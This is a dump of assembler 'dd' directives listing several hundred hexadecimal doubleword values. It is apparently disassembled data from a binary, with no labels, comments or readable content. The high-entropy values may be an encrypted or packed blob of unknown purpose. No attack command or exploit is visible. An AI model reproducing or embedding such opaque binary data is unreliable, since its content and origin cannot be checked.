		dd 303955Ch, 0DBB66B11h, 76FF37E0h, 0B0F70B2Ch,	35D85B00h
		dd 15DF912h, 52C01044h,	0EC745E02h, 0F21FC8FBh,	0D8406D67h
		dd 183BE3B5h, 5C3F0050h, 3D091D8Bh, 411EDF69h, 0FDC0F7FBh
		dd 0F6F5469Ch, 64E80E5Ch, 718F8D54h, 153DF3C0h,	55028B43h
		dd 21330EC9h, 70EC19h, 6B81E3BFh, 6A987F9Ch, 3C0E0D30h
		dd 71232E4h, 735ECAE1h,	5A1DF063h, 233C4DACh, 0E88A807Dh
		dd 0C548D29Dh, 0E1B100D0h, 0EA9EE278h, 9800224Ah, 0ADE8543Dh
		dd 0C04C14h, 0F83AB046h, 5B40CEDEh, 5CF3100h, 0CB9C8F3Ch
		dd 0A8140AC3h, 5D012A9h, 40B1706Ah, 64F9DA50h, 0A22C31FCh
		dd 200158Ah, 5F671CC5h,	32E7216h, 6021C995h, 35B12892h
		dd 0D054703Dh, 98A7CE00h, 5DC36886h, 0DB0A0956h, 428EC496h
		dd 0FDD96900h, 5B002E2Dh, 72E4B233h, 0DD2637h, 229C2F45h
		dd 0BA8C4CCDh, 0CC5C6F28h, 0B8DA272Fh, 11A33B4h, 55A0E4E9h
		dd 0C8935EBAh, 0F801DA6Eh, 0CD3A1762h, 0F6DCC0C3h, 0EA8139Ch
		dd 10944192h, 0F5880887h, 0F28430B7h, 0C3EEA700h, 1248CA6Dh
		dd 2B2509BEh, 0F4A1FD86h, 0F0E7C790h, 10DCC50Dh, 25233300h
		dd 0FEFACBh, 0C2E23EE9h, 81D1CE87h, 3BA84906h, 0A29284h
		dd 9016F018h, 0D1EAFB0Bh, 82F3190Ch, 88C015h, 0FAA7EB07h
		dd 878D0EB7h, 0A6E9E400h, 1A11A17Bh, 619E0428h,	802E12EBh
		dd 0D30B3883h, 91DDC901h, 0D776A7E4h, 0F6EFD0E7h, 0CF20058h
		dd 4681F4F8h, 0A50A089h, 3000639Ch, 0BBF3383Bh,	164125h
		dd 0DA7F62C7h, 0BEFBBF95h, 58EE4Ch, 1EA60477h, 0D9DD47h
		dd 5DA5CEADh, 0E170E620h, 0FCE5010Bh, 5140609Fh, 3A3881C8h
		dd 0B83E53F0h, 0A942014Bh, 26C94948h, 0ECF8FC54h, 0F3FD4500h
		dd 0F9828BDBh, 3A25007Ch, 0BF367BA7h, 1758EEACh, 839983C4h
		dd 0AB9EA85Dh, 0A49C003Fh, 0EB04529Bh, 0ED008ACBh, 0E50FFBB2h
		dd 55384C5h, 18A5D8EAh,	72DCC1ECh, 7D5C2069h, 9E52D200h
		dd 0C3DC3FC8h, 45303BFCh, 0C984AF8Eh, 0F18F13E2h, 0B89FD480h
		dd 0A90097DCh, 427ED7F3h, 3F77F279h, 0AD0154DDh, 4D632C0Fh
		dd 98002AEAh, 0A715B212h, 54D50F36h, 2AE10E14h,	0E1EACC58h
		dd 60F0F961h, 6239C450h, 0A340002Bh, 0D206EB23h, 905F17E6h
		dd 2040008Eh, 0DFB7E308h, 9601B9E4h, 0F5A44B2h,	31D0F671h
		dd 0EC4AEFh, 5BD44D82h,	6700E370h, 0EDCCFAC5h, 79422F63h
		dd 8C86380Ch, 0AB74A500h, 732CBFAFh, 137BE900h,	95585298h
		dd 0E4F000E5h, 997BA45h, 0AD00CCB1h, 2ADF7048h,	18EAD783h
		dd 282129B9h, 0F60066CAh, 0D9F45DAAh, 0E8CA714h, 3705D769h
		dd 40E4DB20h, 0B6017BD1h, 0DA8719E2h, 0E3CC2B5Fh, 54763F74h
		dd 31C0E500h, 3278D685h, 0E7346C00h, 49922340h,	9ADA00E9h
		dd 642FF92Eh, 0A100273Eh, 6DA20419h, 1C6E374Ah,	0FDAFCEC1h
		dd 999CC04Ah, 0C3FE8514h, 42C9B602h, 70D06B8Ch,	3E9C02F0h
		dd 76207AD8h, 989AD840h, 383C1700h, 0C8C7149h, 0F20B86Fh
		dd 0F0658128h, 0F4329BA0h, 0FC09100Fh, 78A8B5E4h, 0E3FA2C50h
		dd 9E34806Ch, 4E27AC52h, 0EF03F58h, 0E3BC3347h,	0E0C22002h
		dd 0F8D673F9h, 0FB520050h, 0CB3F9EF1h, 0E5018048h, 86CD1505h
		dd 4080A829h, 0E35F7B0Ch, 353888B8h, 9826A5D5h,	0E0644738h
		dd 3E8A00F1h, 3805F067h, 8C00E11Ch, 3CF71EB2h, 0E5A2682h
		dd 0C60CD741h, 9F80DF4Eh, 6C49F28Dh, 0A42ADC17h, 70182A07h
		dd 60EFEE60h, 0C31F38FBh, 0A52E5600h, 27C187FCh, 7E634701h
		dd 76D344E9h, 5CEF4h, 0D09EFB9h, 404A8998h, 3B655Ch, 94A56811h
		dd 50C20755h, 0C8847h, 0E58F7E91h, 75D5F063h, 90EEDC90h
		dd 9F9C4554h, 21CA6E00h, 0A12D9CCDh, 78A26370h,	0AC8074CBh
		dd 0ED01FBDBh, 61118D85h, 58C2358Ah, 9ECF00C0h,	3DF1CA13h
		dd 3100BEACh, 0D8EB5896h, 3A4898A4h, 2D800B44h,	4B93ECAh
		dd 55015640h, 229FD71Bh, 8030AB96h, 1E17009Ch, 94BD5FDBh
		dd 0BF004E3Ah, 48147E78h, 1F6ECEDCh, 367972h, 0D6EFA66Dh
		dd 0B03D6C18h, 0C4FB00CBh, 0D8ACDDB2h, 581E00A9h, 6C17BAC9h
		dd 0C700C078h, 0DB4CF756h, 0B220ACh, 73268611h,	61A16409h
		dd 0DA787A01h, 79553B4Bh, 17691464h, 0BB4DDD66h, 2D006F12h
		dd 41339084h, 0C7310E21h, 2C20B3C8h, 427C9E93h,	951A0F00h
		dd 8114B4Fh, 5CD8EA3Bh,	8100AC30h, 10925E89h, 0B0009DAEh
		dd 18311B4h, 128F524Bh,	0C6EBEFh, 0FD9AE81Dh, 0BD00734Ch
		dd 9E927285h, 396BD441h, 160047D6h, 0F4E3A74Ah,	0E900436Eh
		dd 0C34E6453h, 27B55867h, 845C0C09h, 1781200Fh,	5FF100CEh
		dd 0B3B10CC9h, 84A31D18h, 8105362Fh, 4134BB97h,	0D93F03AFh
		dd 0ABD083EEh, 800A9F17h, 2BACC6h, 0CB233082h, 0EA4836Eh
		dd 8037443Eh, 0ABB1AD01h, 6E02E94h, 0A1C34399h,	0D80210B7h
		dd 5D37CF22h, 285048A2h, 4421E6Bh, 8AA4C2FDh, 34E9B264h
		dd 80246CE1h, 258ED669h, 8880EBB1h, 21373454h, 0C600F3CAh
		dd 40E93F16h, 9B92E5Eh,	1855EFA9h, 0CE65C800h, 7700A2CBh
		dd 0B1E71C0Ah, 8C4AB2h,	0A9D1FDCCh, 4DF2B483h, 0EF5E3D1Fh
		dd 6E808B39h, 0B61F0095h, 8729Ah, 31CAAA1Fh, 8DBA3A66h
		dd 0D70D211Eh, 43641801h, 63F04FAFh, 3C0F007Fh,	0DAC6A7E2h
		dd 80955E82h, 694F26F8h, 0F21F280h, 0B6B4027h, 0BF3AF261h
		dd 0B2B8406Dh, 65170AD1h, 28D0AA5Eh, 0F32E7Ah, 91F01DEDh
		dd 593AFA63h, 16771000h, 38D86F75h, 0C07E7Ch, 0BB1F8908h
		dd 8F588E68h
		dd 2D4A94Ch, 0D4F8FDA0h, 3DC87813h, 0DB407Eh, 890224A0h
		dd 0AC00E5BAh, 0DC53156h, 8AA165h, 0A3FE961Fh, 2ECA7D7Eh
		dd 0FC80094Eh, 928E9480h, 66410014h, 0FDE2D9AEh, 2500E46Bh
		dd 9B3539E8h, 106E1D7h,	0F6F5814Bh, 80AB79D1h, 2B27DB70h
		dd 3F88ED7Ch, 0E000363h, 82C8772Eh, 6C00676Eh, 0F793D599h
		dd 226A343h, 4A6149FAh,	9980ADACh, 0EADD95A2h, 0E98D2101h
		dd 0C5E20A41h, 7A6D1CD4h, 138900F5h, 420451BDh,	5B008471h
		dd 0BA3D69E5h, 1E8D056Eh, 7C6DEA0Bh, 8639A800h,	0CF82920Dh
		dd 3091F100h, 0C403F968h, 54E300B1h, 0AB0A12AEh, 0E8004784h
		dd 5CE4764Bh, 386872Ch,	94D64F9Fh, 0C382CC61h, 0FE423474h
		dd 291C41CBh, 5D14D839h, 53009CCDh, 9738C2AEh, 0E8947B43h
		dd 0B603FA00h, 3529F7Eh, 211D5D25h, 30A02DC9h, 6100688Ch
		dd 2EE9F29Ch, 0BEA53Fh,	40298755h, 807ADD98h, 33278600h
		dd 0D4B77695h, 836338B4h, 0C5FE1Dh, 807385EBh, 68007845h
		dd 10B3967h, 12B86C89h,	0ECE755Ch, 0D72020FFh, 1BEC0591h
		dd 831F7000h, 1EB51742h, 1C5AF0B8h, 495C3844h, 8200A4EBh
		dd 0D4F30D4h, 8E2D9927h, 0FFF7A0E4h, 1C6E73B1h,	0C7232C20h
		dd 109B8645h, 1AA0A4A2h, 0EAD5200h, 14CE0B75h, 0B5CA00A9h
		dd 0F1DC6AABh, 0F01707E0h, 0C200371Fh, 1EEBE170h, 1088003Ah
		dd 9A3CD611h, 3700CC44h, 0AF620B17h, 62F19h, 5E3952D9h
		dd 3FEA27D2h, 1AA2E507h, 33440DAh, 0BBE697C1h, 3D32460h
		dd 5D567E3Bh, 30F01912h, 27007C5Fh, 0AFC4DC72h,	0C75E9Eh
		dd 3C12ED4Ah, 0EFCC88E9h, 5410CF00h, 0DB9EE3E8h, 82AC1424h
		dd 43399BEAh, 6EBBA880h, 78ADF88Bh, 7324DC00h, 60ED0FDBh
		dd 14520E4Eh, 0E521FBFFh, 0FC63DD68h, 0C0000E57h, 0B6D4F5F8h
		dd 3863CA4h, 1F3D7436h,	0ED887EF4h, 2B00C772h, 3412CE0Ch
		dd 44BFC32h, 14E0E257h,	0B77CA02Dh, 3F0982EAh, 807DF5F6h
		dd 0DB6E0690h, 429B24EDh, 402E9FD4h, 60D2D43Bh,	0DE005864h
		dd 0EC89714Ah, 0F8F3AAA9h, 4730018h, 3BD9E862h,	0C609E21Bh
		dd 81896DFDh, 0D0E01DD2h, 40161192h, 10A96F1Ch,	834DA54Ch
		dd 0DD9A28CCh, 0C2936102h, 0E823A7A0h, 0A92E4h,	7EC0E5D3h
		dd 0D9C3B155h, 0C4895300h, 927C513Ah, 21D763F4h, 966029A7h
		dd 0EFF0D038h, 6A7B54h,	68DC61EEh, 91B963F4h, 97F9BF08h
		dd 73D6FF7h, 0C0EBE645h, 0B32D39BDh, 71EEA80Bh,	0BF9C21E3h
		dd 0EE70F466h, 595101B6h, 10D3ED09h, 4929E05Dh,	0EAAB8E00h
		dd 4758B39Fh, 0FF1CA96Dh, 3D86FAE0h, 2A162B37h,	15E400B6h
		dd 0B8C08478h, 9CA0C00h, 0D3D101A6h, 0C95C04FBh, 0C4162817h
		dd 74798069h, 6758DB1Ah, 420078FCh, 0B06081AEh,	7A68AC99h
		dd 0D81507B7h, 1460449h, 0EC1C6520h, 55003F07h,	0EB1A6163h
		dd 244B14E5h, 673DF0h, 93727962h, 1900E0AAh, 5D92E475h
		dd 6D9966h, 54DDFF7Bh, 25B2E535h, 6E7752E6h, 0CCD4B600h
		dd 40808162h, 0B0B827B9h, 0E0726C41h, 0CF385831h, 0EFE48044h
		dd 4D4199D8h, 528F005Bh, 0A47B38D3h, 0F9A20DC1h, 0FBFD9C0h
		dd 41589C30h, 14E25A26h, 0FCFA2FFBh, 0CEAF9500h, 0AB68B154h
		dd 8409A4A8h, 40301C60h, 88E5DCh, 5B431D0Bh, 2BC86986h
		dd 510E3C30h, 9553497Dh, 63E70400h, 1C394B90h, 67B0004Eh
		dd 3872FAE1h, 9C10005h,	8F13CF29h, 8100B6C5h, 0E6DBB13Fh
		dd 0F0F41D08h, 0A1D400CDh, 0A0C8B37Ch, 3600495Ch, 98542185h
		dd 3B225A3Eh, 607C4D28h, 3C477162h, 8EB85623h, 5E77EE00h
		dd 0CF88799Ch, 18B100E1h, 30D83906h, 484EB0B7h,	2EC77007h
		dd 21195A30h, 8E0600B5h, 27B34BF8h, 0B2332074h,	0C881D80Dh
		dd 2C472F0Ch, 6B4CBCh, 32A95E38h, 371E14ECh, 3E852253h
		dd 9EC05DD9h, 98499Ch, 95C945B3h, 0AA32ACF5h, 0C25C8D03h
		dd 0A8A575EAh, 0F8D92E59h, 9D250088h, 79083C66h, 2D0F6709h
		dd 80418F15h, 0D5F3742Eh, 13720076h, 9F7347CBh,	4D0004E3h
		dd 8823CEBFh, 4378245h,	0B2D6C08Ch, 0BC95C090h,	8600419Ch
		dd 776DBBBDh, 4B783089h, 0A60BF007h, 68DBAA0Bh,	27AB803Fh
		dd 8EB52Fh, 877FE1CAh, 0B1F9B330h, 0FD03EFB8h, 3FB4FB09h
		dd 0B5A801D7h, 9AE49D01h, 14C9CF04h, 0C5AEF008h, 0D852AD1Fh
		dd 2B768F00h, 1E271DCFh, 0C090B526h, 7F3328B3h,	4A004CA0h
		dd 40FB4829h, 60832D05h, 0C6FAE89Bh, 0AF7FBBD3h, 0C3AEE900h
		dd 1D5E0B5Ah, 483B3EA3h, 0EE9D4000h, 1F9ED773h,	0B88AC406h
		dd 0FC418B85h, 0DF5F0028h, 0AE403013h, 0A00D732h, 0BBEBBC6h
		dd 0EC533A26h, 1B363029h, 244290C9h, 344F3Ch, 0F547F626h
		dd 3E62F0Dh, 0C40B46F7h, 0F3C82472h, 7700E29Fh,	0C599FA37h
		dd 0FA16B66h, 0D53C1C07h, 97BE2D81h, 67962075h,	19BEE250h
		dd 0F30223Eh, 80AC58DFh, 0BAFF0D63h, 672A0E4Bh,	0FEEF9CDDh
		dd 0B55A0900h, 850379AEh, 0EFDA3D1Ch, 0CEBEA010h, 0C3BA1DFDh
		dd 0C88C804Dh, 800FEE71h, 0A943EA28h, 3EF5A300h, 72AA8E55h
		dd 0BA6E0EEBh, 7020E9BBh, 40ACF9B7h, 69007478h,	3DC3B031h
		dd 638E080h, 0C122A234h, 0A529B06Bh, 14504828h,	0AB9886D0h
		dd 1FADF000h, 0CB2C2EFBh, 0F81201A8h, 4ABA991Eh, 19C22066h
		dd 4CD75Ch, 918C9CA7h, 0EF91A25h, 0DBE86E69h, 0F789D927h
		dd 97759022h, 0F500562Ah, 243CC02Fh, 7821B8F3h,	0FB17005Ah
		dd 0D1771B01h, 4A073BC8h, 93194347h, 885E12E3h,	2EC220BFh
		dd 3F48C4h, 0C5B78A75h,	0E90070E6h, 25517F12h, 1FC436DFh
		dd 803A2DBDh, 4E164B97h, 84007D01h, 10347663h, 0A9799Ah
		dd 407FF22Fh, 9D302DD9h, 4628BB00h, 482060BFh, 0F0871E1Ch
		dd 1273C0EDh, 7A805B5Ch, 7178AA74h, 8204BA56h, 40D11633h
		dd 0D7D2E3h, 0EEF4DA11h, 6A64CFFEh, 5A4BAE0Ch, 3918C2Ah
		dd 0D214E29Dh, 29101D32h, 9000D022h, 0CDAED71Ah, 0B6004746h
		dd 4BE4F378h, 270911h, 0D6F1BA3Eh, 0FA6D88DDh, 0E2E69500h
		dd 0CAB465F3h, 0BD583CCFh, 0B6E59A00h, 3E4C8A13h, 708B9900h
		dd 0F1071B4Bh, 4404031Fh, 603614F6h, 32D32E0h, 990059FAh
		dd 0E386DA89h, 3973A4h,	914AABAFh, 653D3AE6h, 5495700h
		dd 0BBFF17D3h, 39A20971h, 0AC005BC4h, 92FD0CB2h, 0F6004FEAh
		dd 0AEEFD21Dh, 0AA3DE5h, 0FEBE373Fh, 7BA521CBh,	0C6A10500h
		dd 3DE10AB8h, 5A130073h, 4A51FD3Ch, 0CB1D4DA8h,	8340D6F2h
		dd 7C89DA40h, 75017508h, 0EA960053h, 50104EAEh,	290AC035h
		dd 0ABE811A9h, 0F6B46F0Eh, 0A0C4C40Eh, 5AC241DDh, 0AE1C0095h
		dd 6B631E86h, 3C00E230h, 0D30D15A8h, 0CEA4A3h, 73821346h
		dd 32C5141Ah, 0A8CC3Ch,	0FF53902Fh, 632B1656h, 0FD8C18C4h
		dd 6BE9C1C0h, 0FB335103h, 9303D870h, 37418018h,	16D001Bh
		dd 9BE04459h, 0F40F673Fh, 0E0E2B455h, 0DCD7C40Ch, 0A78400B5h
		dd 25D3E4CEh, 1300BCDDh, 386BBA27h, 248FB442h, 172C18F7h
		dd 0B2640086h, 0DFF52A30h, 5BF61600h, 6F879E5Ch, 6C063C99h
		dd 8137780h, 0CEE2CC97h, 5BAE2500h, 0AC2D6AC3h,	49EE0087h
		dd 0FFBBF3D6h, 803CE7AAh, 1F5D800Eh, 440245Fh, 8BF90038h
		dd 68904542h, 0CE01A191h, 0B0D0A66Fh, 0BFF028FEh, 0AFD80026h
		dd 7DB924C4h, 1A78750Ch, 77E50800h, 0C74E190Fh,	0F4E7070Ah
		dd 304959F2h, 0A201BD6Ch, 347A4F72h, 78955AE0h,	78FE000Dh
		dd 5DAFAC06h, 83247080h, 1200E775h, 7D47B1AEh, 10A70704h
		dd 634F1696h, 85B8C6D8h
		dd 0FCE4B8C3h, 2D9C3200h, 1E6AC0B7h, 21A60F04h,	0AD07E14Fh
		dd 0FACC70CBh, 676662C2h, 1EF08352h, 1B1F1C5h, 90C36D97h
		dd 3472E4EBh, 48DBCE00h, 0A3A99A28h, 43710165h,	0C6F22D70h
		dd 4720245Bh, 0FC757E00h, 0E211CB1Dh, 0AF121D42h, 80979F30h
		dd 9FBA4CADh, 8A00728Fh, 46F5D808h, 0E0C15Dh, 0AB1B0370h
		dd 0DB401153h, 0D4E92600h, 0D0F1424Eh, 313607B1h, 80499745h
		dd 437C8432h, 0A5331026h, 0A5CA7A09h, 0D4308D3Ch, 3E7AC44h
		dd 0BA0513CCh, 68F0B567h, 0A20085FDh, 0D7B82AA5h, 0BF3CF8h
		dd 9311990Fh, 80FB21B6h, 0BE00549Ah, 60D9ED10h,	38A37692h
		dd 5500B58Bh, 58E321F7h, 0D100984Bh, 0FA2A8E51h, 1E94D43Ch
		dd 0BADC96BFh, 0FBEC6C09h, 80153C87h, 0AECC9B91h, 0E6DFF303h
		dd 9B46D1C1h, 628AA0E7h, 92D6003Eh, 0C257D534h,	75007C7Eh
		dd 0E772C807h, 4440E4h,	4A8B3B84h, 1F6C48AAh, 7C756B00h
		dd 18A482F8h, 0FA64284Dh, 8C200D0h, 0F2670A91h,	0EA4F30DFh
		dd 0D90104B8h, 20CE6FA8h, 625AF044h, 0C158AB01h, 0A6F89445h
		dd 405ECC42h, 3289E99h,	328B8D3Fh, 8F05CC8h, 390055B6h
		dd 0E7DBB901h, 2F63A39Ah, 7CDEE0D8h, 64400039h,	0EBF9BC7h
		dd 0CC8A00BAh, 658C4E7Ah, 927E3BDFh, 90A9BE00h,	0E1EE2DF5h
		dd 9070B8D0h, 24470599h, 80AA336Fh, 0FAC2863Dh,	0D4E5D00h
		dd 0D0E4F68Ch, 9072397Fh, 0FBEB8900h, 651708DCh, 0C330E05h
		dd 0CC007936h, 9A060D53h, 0A1710EDFh, 0EFAEDD43h, 60CB6783h
		dd 0CA3F18C0h, 0AC90AE7Ah, 0D2BD30Eh, 7DF980D1h, 52F130h
		dd 8A6A929Bh, 0F3870B91h, 684CAC06h, 7203A6Ch, 6B26C5E7h
		dd 6A41C093h, 0A748ECF7h, 0C1B0038h, 0ADB6068Eh, 9304012Fh
		dd 0FDD51CF3h, 0ACD6D5CFh, 0DC0F84EEh, 5BC7E344h, 2921B855h
		dd 0D4870079h, 0D19D4713h, 2F2A3FFh, 0B649D91Dh, 2B7E4BC0h
		dd 0C5FC1Ah, 35606E2Ah,	0E504AAC9h, 7B17B104h, 0A0805EBFh
		dd 0E066D1h, 497328BDh,	0C8F64534h, 756E80Bh, 9256800Ah
		dd 0EE4AEEF2h, 4C8B1DFFh, 28C9C085h, 9033A91Eh,	8146F400h
		dd 7B0E2EF8h, 1F9B98B8h, 0C092C744h, 0BCA8A955h, 63F8948Fh
		dd 772F6A00h, 0A76D74ECh, 0EB153AEAh, 6EE41F00h, 2B4B2D5Bh
		dd 0AD96FD17h, 4190D10Fh, 8E6C0197h, 72EFC0h, 0A9AC88D5h
		dd 0EDC632A7h, 809D163Fh, 292F7773h, 10C46B0h, 3ED0E7C3h
		dd 7040C5E0h, 0D91C1618h, 3AC0B2A2h, 0A18E8F2Fh, 12890E2h
		dd 85B51BA5h, 0D4884456h, 4D793D2Dh, 0C72E1700h, 1CD0303Eh
		dd 156300BEh, 2D81837Bh, 0BD015D39h, 1390111Fh,	11823260h
		dd 6CF6426h, 80E18340h,	11F56F17h, 13535840h, 1D9808F1h
		dd 0F07D6EC3h, 0F48C5C18h, 6339E40Eh, 234DAE56h, 1E6B4BC4h
		dd 0EEA4F621h, 0D703BD90h, 68741A28h, 447FFEB8h, 79008E7Ch
		dd 26712038h, 13C359h, 65109C5Ch, 85223BA8h, 7C40A007h
		dd 0F64132BCh, 1CE0EDC9h, 34790715h, 1327FE20h,	88C0136Dh
		dd 0EE00711Fh, 43CD7F87h, 262F1A6h, 3FC48D97h, 2374BCA3h
		dd 8000624h, 19CAD59Ch,	28D80F76h, 7F6CDCD0h, 0C00340B9h
		dd 0D2F5938Eh, 59C101EEh, 32638B82h, 0C2E2F8A1h, 43A50A1Eh
		dd 19BBC000h, 0F763F41h, 0D33D74EEh, 34A0B50Eh,	0BC57445Bh
		dd 7DA0300h, 630B7F2Bh,	0C2E500AAh, 0C5DB9AA0h,	520089ADh
		dd 0A11B54BDh, 32FD20Fh, 9ADA5870h, 8101EA33h, 652C3261h
		dd 0EAD3B384h, 0D4CC80B9h, 4885CE39h, 70E21EBh,	2D206982h
		dd 0CBD9F1A5h, 2033AB0h, 66A392DEh, 43E03EB7h, 7FE96Bh
		dd 0D9C23E72h, 5FF600B0h, 824763ACh, 59399C11h,	0B53907FFh
		dd 9B40BEE7h, 67AC5Eh, 5770BC52h, 0BDD9751Ch, 4E0B0C02h
		dd 40B5A5EDh, 6F1F95h, 0AD82AFCBh, 5D21DCA6h, 0E588500h
		dd 0A18C4FF6h, 0ABF0C39h, 0D89CDF4h, 38DF3F07h,	12D21137h
		dd 639DE00Ch, 1967006h,	0A9CA26D3h, 242B4AD0h, 0DB3A7048h
		dd 28810036h, 0F096F11Ch, 48AC0063h, 0EA41D212h, 43008735h
		dd 9BF9BA14h, 30233F9Ah, 1340E61Ah, 0CD2F6C52h,	57BD459h
		dd 800C35ECh, 2002EFB4h, 6D419017h, 0B4BA3440h,	0AB3618h
		dd 0E93A423Dh, 0C273CB4Dh, 7D713Fh, 99B3A2EEh, 311D9Ah
		dd 1FF4A6F7h, 0F690F005h, 266CF900h, 7A9EC0A3h,	0F0C67B0Eh
		dd 9A8A2EDCh, 388919FBh, 96AAD041h, 5F2B3500h, 7CFF7F34h
		dd 0FD0D0097h, 5B508C3Fh, 2A76D7F7h, 72228E48h,	8D1838C0h
		dd 86464Ah, 9C844106h, 0B3D73E21h, 1E3A0800h, 907A8C18h
		dd 31866698h, 18D3C4D9h, 946AB303h, 0F510F86Ch,	0C3C20013h
		dd 0F8CED8FAh, 9E0067A0h, 59B82CD6h, 2AAAC0h, 247F1D47h
		dd 0D2560603h, 1903257Dh, 990CC252h, 0DC5AF846h, 0B161CE8Eh
		dd 8DF917A0h, 7A004955h, 0D9C6EC05h, 336C9B6Ah,	42A17CB6h
		dd 8EA83CB0h, 95E24400h, 4578D041h, 0B7A22A9Ah,	0A4FE00ACh
		dd 87120C88h, 0BE000E59h, 0E6D0FDC7h, 3C6A0B9h,	39C1204Fh
		dd 0E9488543h, 10FB00D4h, 0F216FF9Bh, 25967BF4h, 7F606559h
		dd 0AB98689Ah, 8803A900h, 1D12A877h, 741E0E4Bh,	4E2072ABh
		dd 337EA3BAh, 8854EB30h, 0FA7C3Dh, 579DDA50h, 621F8249h
		dd 0FD004C78h, 0D58461C0h, 38DCE99Fh, 45805FB4h, 0E36998Bh
		dd 0CB00D22Bh, 0A0343B17h, 0BBC377h, 28694E24h,	3F953530h
		dd 1C056A70h, 0F977E9A2h, 2CF780EFh, 16004A0Ah,	0EFAF4D8h
		dd 3E826DE5h, 518070CEh, 80328AE8h, 0B800F979h,	0ECD1C7CBh
		dd 0CC1EBFh, 2C18F238h,	71745F42h, 149C1700h, 0F44AB4D8h
		dd 0ECCF07D7h, 81B33D72h, 0C803C28Fh, 0AD024B98h, 1ED96983h
		dd 9A45E03Ah, 0BBD51DC4h, 310800D8h, 66343D5Ah,	0B6E54F00h
		dd 8CD0226Dh, 5741002Ch, 9968BEF5h, 71FB01Fh, 3E5FFE67h
		dd 193B0D0Ch, 0C0E2752Dh, 9A9EC88h, 0C300D5F1h,	0D61F9A7h
		dd 7AC25DBCh, 0A8BD0110h, 482515E9h, 9FD8D01Fh,	89EE6903h
		dd 170982ACh, 0FF6010h,	0D9F7E097h, 3A00AEA5h, 0D09E7D63h
		dd 0B2C3CCh, 9C9FD7CEh,	3223A1E3h, 0A2FEB700h, 0DA47682Fh
		dd 1E1A0013h, 79660A7Eh, 7B1F917Dh, 0FF990EFh, 4FCE0B52h
		dd 24988045h, 3B870C0Ah, 0BD80E332h, 92041F06h,	5C3D6A56h
		dd 0A4408E01h, 97E1005Fh, 0A8BE894h, 35039071h,	1C1E5920h
		dd 45070608h, 883BAA03h, 0FBE1E90Fh, 297A0C1h, 12FE8F6Ah
		dd 0A66E60Dh, 0D0C84Ah,	134E6EBDh, 6F049AB8h, 0E0AFEF99h
		dd 8825A583h, 2C59783Ah, 3FF1D844h, 7F3B1Eh, 0E0424EFAh
		dd 980C8B27h, 0A021863Ch, 0FFC60F16h, 0E760E5F5h, 434B42C7h
		dd 65A654Ch, 8A3FEEBEh,	75180028h, 49DDAD8Dh, 7D28B003h
		dd 0DFFAA4D9h, 9F28C838h, 8E4C4F8Bh, 3B2EC88Ah,	0D6814AFEh
		dd 65A5891Eh, 366DE0CDh, 7B97C000h, 0D3AC996Ah,	0A9F8005Dh
		dd 0FB4B4398h, 192909CDh, 72808047h, 3A3B996Eh,	0C0A243FFh
		dd 22A7E155h, 0EF4A0098h, 41092C1Ah, 663E0BE3h,	328C0081h
		dd 2EFF25EEh, 8ED3097Fh, 29004A2Bh, 0B87264A0h,	2AFD9918h
		dd 0D025D0h, 7F9E0487h,	4F075C1Fh, 4A04B075h, 525A1E38h
		dd 8402480h, 90D180CCh,	5C5E9E0Ah, 815B2028h, 0A0C22A1h
		dd 554CE1Fh, 0A4883958h, 0E815008Dh, 0EF55C14Eh, 9572983Ch
		dd 0AF35A100h, 65DC1EFDh, 14237CD5h, 0C83BDF4Ch, 0A4A36B00h
		dd 9B979347h, 19639600h, 11BB528Bh, 6ED00080h, 0A357A661h
		dd 6900EA87h, 0A85E3CD1h, 93C0DFh, 0B28B2524h, 0AC6CF15Ah
		dd 0E6158900h, 0EB7233Bh
		dd 14C70B6h, 0E22B463Dh, 70A57543h, 580CE721h, 419438C1h
		dd 0F1180067h, 2197DBC5h, 9B07CEC8h, 0BDB58830h, 82FDCAB0h
		dd 676001A3h, 0D35FD797h, 4A4024E4h, 0EA8AE70Fh, 0DC1260EDh
		dd 208332Ch, 193EA12Bh,	0D0C094D6h, 931258Ch, 0FB3DB8CAh
		dd 380C182Fh, 8D30ADC9h, 137D888Eh, 0DDA20074h,	89E55D1Fh
		dd 0FA03CB98h, 78398673h, 1530CFA3h, 491FE1h, 4AE6ED38h
		dd 0D5639B99h, 0FF50C800h, 0FC87F1F4h, 0A1660088h, 0D75D6F31h
		dd 44003B02h, 6837C11Bh, 0FE7BD196h, 57C9005Ah,	3525F6D6h
		dd 761D4D6Ah, 7100128Dh, 6A38413h, 0AD6700E5h, 9D4AB6Dh
		dd 0AC60201Ah, 0D1D6FECh, 7D8C2EC9h, 0CCC300EBh, 673E096Ah
		dd 2C0479C0h, 0CFB8E2h,	0FA47520Eh, 3C2FFF08h, 23000F90h
		dd 0B0FB7E74h, 2466BDh,	26ADAE5Dh, 20EFB1B9h, 0DE0094F2h
		dd 0A00AE42Bh, 1808136Ch, 0B06F48A9h, 0E0004AD4h, 0A463F76Dh
		dd 1929E44h, 868BDDF4h,	6AA7B751h, 0E114ADC0h, 9C500A4h
		dd 5D0BDEA2h, 0E23D987Fh, 0F8DAB0D6h, 0DEB7EDC0h, 0FA6B80B0h
		dd 645E2210h, 706F807h,	0BDC06588h, 519924h, 4112597Dh
		dd 0BEABB63Bh, 0BB05B500h, 9495C70Eh, 4AEC0068h, 0CCF6D4C2h
		dd 0FE0088ADh, 0AE91502Bh, 0AB1587h, 71D0834h, 2153C373h
		dd 0FF7BC100h, 0F9527822h, 494B004Ah, 0C7878FBBh, 850FEDE3h
		dd 805A5956h, 31AC97D7h, 5D221D9Bh, 0BEBD8E2Ch,	0B7005h
		dd 0E1A24EBEh, 8C0E0985h, 201C2173h, 662DE771h,	894F3CD0h
		dd 37AA8089h, 8EFAB00h,	0BA0E7698h, 0FFE927D7h,	0C6060FC0h
		dd 0A4B007h, 0BCF3EB51h, 407E8EBEh, 0C9706B07h,	0E2B0C65Eh
		dd 3AD573E8h, 0EE002CA1h, 9A07F6EFh, 0FE310B6Eh, 0A5B210EDh
		dd 0C453E0h, 0F47573AEh, 31924D7Ch, 8DFB851Ch, 76CD1447h
		dd 0A4818AD0h, 0D4B213E3h, 0A9F30F32h, 982446A0h, 0C1126522h
		dd 0A904F8A1h, 0C0AED6B0h, 0D05771F1h, 93E99B0h, 56BB09B3h
		dd 3111005Ah, 0F22D684Dh, 15920074h, 636F6D12h,	900EC627h
		dd 205149A1h, 0D75AC88Ah, 7B0DF033h, 0E94000E7h, 55271EADh
		dd 8FE0FFBFh, 0C7B32D00h, 0F2B721B9h, 1E8670C2h, 40D95A25h
		dd 415D232Bh, 6D0002A7h, 85C2043Ch, 2F26ECh, 6CC0120Dh
